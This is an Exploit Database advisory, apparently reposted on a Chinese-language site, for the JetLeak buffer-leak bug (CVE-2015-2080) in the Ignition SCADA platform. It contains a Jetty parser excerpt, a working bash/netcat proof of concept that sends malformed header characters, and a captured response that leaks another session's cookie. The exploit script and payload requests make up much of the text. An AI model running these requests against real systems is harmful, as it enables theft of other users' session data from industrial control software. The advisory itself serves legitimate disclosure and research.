Inductive Automation Ignition 7.8.1 – Remote Leakage Of Shared Buffers

• Exploit Database
• 14 阅读

• 作者： LiquidWorm
  日期： 2016-02-17
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39455/

• Inductive Automation Ignition 7.8.1 Remote Leakage Of Shared Buffers
  Vendor: Inductive Automation
  Product web page: http://www.inductiveautomation.com
  Affected version: 7.8.1 (b2016012216) and 7.8.0 (b2015101414)
  Platform: Java
  
  Summary: Ignition is a powerful industrial application platform with
  fully integrated development tools for building SCADA, MES, and IIoT
  solutions.
  
  Desc: Remote unauthenticated atackers are able to read arbitrary data
  from other HTTP sessions because Ignition uses a vulnerable Jetty server.
  When the Jetty web server receives a HTTP request, the below code is used
  to parse through the HTTP headers and their associated values. The server
  begins by looping through each character for a given header value and checks
  the following:
  
  - On Line 1164, the server checks if the character is printable ASCII or
  not a valid ASCII character.
  - On Line 1172, the server checks if the character is a space or tab.
  - On Line 1175, the server checks if the character is a line feed.
  - If the character is non-printable ASCII (or less than 0x20), then all
  of the checks above are skipped over and the code throws an ëIllegalCharacterí
  exception on line 1186, passing in the illegal character and a shared buffer.
  
  
  ---------------------------------------------------------------------------
  File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java
  ---------------------------------------------------------------------------
  920: protected boolean parseHeaders(ByteBuffer buffer)
  921: {
  [..snip..]
  1163: case HEADER_VALUE:
  1164: if (ch>HttpTokens.SPACE || ch<0)
  1165: {
  1166: _string.append((char)(0xff&ch));
  1167: _length=_string.length();
  1168: setState(State.HEADER_IN_VALUE);
  1169: break;
  1170: }
  1171:
  1172: if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB)
  1173:break;
  1174:
  1175: if (ch==HttpTokens.LINE_FEED)
  1176: {
  1177: if (_length > 0)
  1178: {
  1179: _value=null;
  1180: _valueString=(_valueString==null)?takeString():(_valueString+" "+takeString());
  1181: }
  1182: setState(State.HEADER);
  1183: break;
  1184: }
  1185:
  1186: throw new IllegalCharacter(ch,buffer);
  ---------------------------------------------------------------------------
  
  
  Tested on: Microsoft Windows 7 Professional SP1 (EN)
   Microsoft Windows 7 Ultimate SP1 (EN)
   Ubuntu Linux 14.04
   Mac OS X
   HP-UX Itanium
   Jetty(9.2.z-SNAPSHOT)
   Java/1.8.0_73
   Java/1.8.0_66
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2016-5306
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5306.php
  
  CVE: CVE-2015-2080
  CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2080
  
  Original: http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
  Jetleak Test script: https://github.com/GDSSecurity/Jetleak-Testing-Script/blob/master/jetleak_tester.py
  Eclipse: http://git.eclipse.org/c/jetty/org.eclipse.jetty.project.git/plain/advisories/2015-02-24-httpparser-error-buffer-bleed.md
   https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md
  
  
  14.01.2016
  
  ---
  
  
  #######################
  #!/bin/bash
  
  #RESOURCEPATH="/main/web/config/alarming.schedule?4674-1.IBehaviorListener.0-demo"
  RESOURCEPATH="/main/web/config/conf.modules?51461-4.IBehaviorListener.0-demo"
  BAD=$'\a'
  
  function normalRequest {
  echo "-- Normal Request --"
  
  nc localhost 8088 << NORMREQ
  POST $RESOURCEPATH HTTP/1.1
  Host: localhost
  Content-Type: application/x-www-form-urlencoded;charset=utf-8
  Connection: close
  Content-Length: 63
  
  NORMREQ
  }
  
  function badCookie {
  echo "-- Bad Cookie --"
  
  nc localhost 8088 << BADCOOKIE
  GET $RESOURCEPATH HTTP/1.1
  Host: localhost
  Coo${BAD}kie: ${BAD}
  
  BADCOOKIE
  }
  
  normalRequest
  echo ""
  echo ""
  badCookie
  
  #######################
  
  
  
  Original raw analysis request via proxy using Referer:
  ------------------------------------------------------
  
  GET /main/web/config/conf.modules?51461-4.IBehaviorListener.0-demo&_=1452849939485 HTTP/1.1
  Host: localhost:8088
  Accept: application/xml, text/xml, */*; q=0.01
  X-Requested-With: XMLHttpRequest
  Wicket-Ajax: true
  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
  Wicket-Ajax-BaseURL: config/conf.modules?51461
  Referer: \x00
  
  
  Response leaking part of Cookie session:
  ----------------------------------------
  
  HTTP/1.1 400 Illegal character 0x0 in state=HEADER_VALUE in 'GET /main/web/con...461\r\nReferer: \x00<<<\r\nAccept-Encoding...tion: close\r\n\r\n>>>SESSIONID=15iwe0g...\x0fCU\xFa\xBf\xA4j\x12\x83\xCb\xE61~S\xD1'
  Content-Length: 0
  Connection: close
  Server: Jetty(9.2.z-SNAPSHOT)